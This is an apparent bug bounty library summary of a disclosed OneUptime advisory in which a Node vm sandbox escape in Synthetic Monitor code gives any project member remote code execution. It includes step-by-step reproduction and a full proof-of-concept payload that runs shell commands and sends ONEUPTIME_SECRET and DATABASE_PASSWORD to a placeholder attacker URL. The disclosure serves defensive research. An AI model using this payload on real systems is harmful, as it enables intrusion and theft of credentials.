# OneUpTime's Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE

OneUptime ran Synthetic Monitor Playwright code in Node's vm module, letting any project member escape via prototype chain to RCE and steal probe secrets.

- Payout: Research
- Severity: critical
- Program: OneUptime
- Found by: hunterxsirago1
- Disclosed: 2026-03-07
- CVE: CVE-2026-30887
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h343-gg57-2q67
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-h343-gg57-2q67
- Tags: area:web domain:web impact:data-leak impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:command-injection vuln:rce vuln:sandbox-escape

**Target:** Synthetic Monitor Playwright code editor / VMRunner backend
**Root cause:** User-supplied JavaScript is executed with vm.runInContext(), which is not a security boundary, with no AST filtering or isolated-vm/container isolation.
**Steps:**
1. Log in to OneUptime dashboard (open registration enabled by default).
2. Go to Monitors > Create New Monitor, select Synthetic Monitor type.
3. Set Browser Types to Chromium and Screen Size Types to Desktop.
4. Replace the Playwright Code editor content with a payload using `const proc = this.constructor.constructor('return process')();`
5. Load child_process via `proc.mainModule.require('child_process')` and execSync a command.
6. Read `proc.env.ONEUPTIME_SECRET` and `proc.env.DATABASE_PASSWORD`, exfiltrate via `proc.mainModule.require('http')` to an OAST listener.
7. Save; probe worker executes within 60 seconds and posts output to the listener.
**How found:** Recognized that the Playwright code editor feeds untrusted input into Node's vm module, which docs state is not a security boundary, then applied the standard this.constructor.constructor prototype-chain escape.
**Exploitation:** Any project member (or self-registered user) submits the payload through the Synthetic Monitor UI; the probe worker executes it, escaping the vm context to reach the host process object, run shell commands, and exfiltrate env secrets to an attacker-controlled URL.
**Escalation:** Probe container holds ONEUPTIME_SECRET and DATABASE_PASSWORD in env, so RCE on the probe pivots to full cluster/database compromise.
**Insight:** Any feature that lets users author 'test scripts' (synthetic monitoring, webhooks, formula fields) is a prime vm/sandbox-escape target; grep for vm.runInContext/runInNewContext and try `this.constructor.constructor('return process')()` before assuming isolation.

## Proof of concept (copied exactly from the original report)

**Playwright payload escaping vm sandbox to RCE**

```
return new Promise((resolve) => {
    try {
        // 1. Traverse the prototype chain to grab the host's process object
        const proc = this.constructor.constructor('return process')();
        
        // 2. Load the host's child_process module & run a system command
        const cp = proc.mainModule.require('child_process');
        const output = cp.execSync('ls -la /usr/src/app').toString();
        
        // 3. (Optional) Read sensitive environment secrets
        const secret = proc.env.ONEUPTIME_SECRET;
        const db_pass = proc.env.DATABASE_PASSWORD;
        
        // 4. Exfiltrate the data via the native `http` module
        const http_real = proc.mainModule.require('http');
        const req = http_real.request({ 
            hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', 
            port: 80, 
            path: '/', 
            method: 'POST' 
        }, (res) => {
            resolve("EXFILTRATION_STATUS: " + res.statusCode);
        });
        
        req.on('error', (e) => resolve("EXFILTRATION_ERROR: " + e.message));
        
        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });
        req.write(payloadData);
        req.end();
    } catch(e) {
        resolve("CRITICAL_ERROR: " + e.message);
    }
});
```

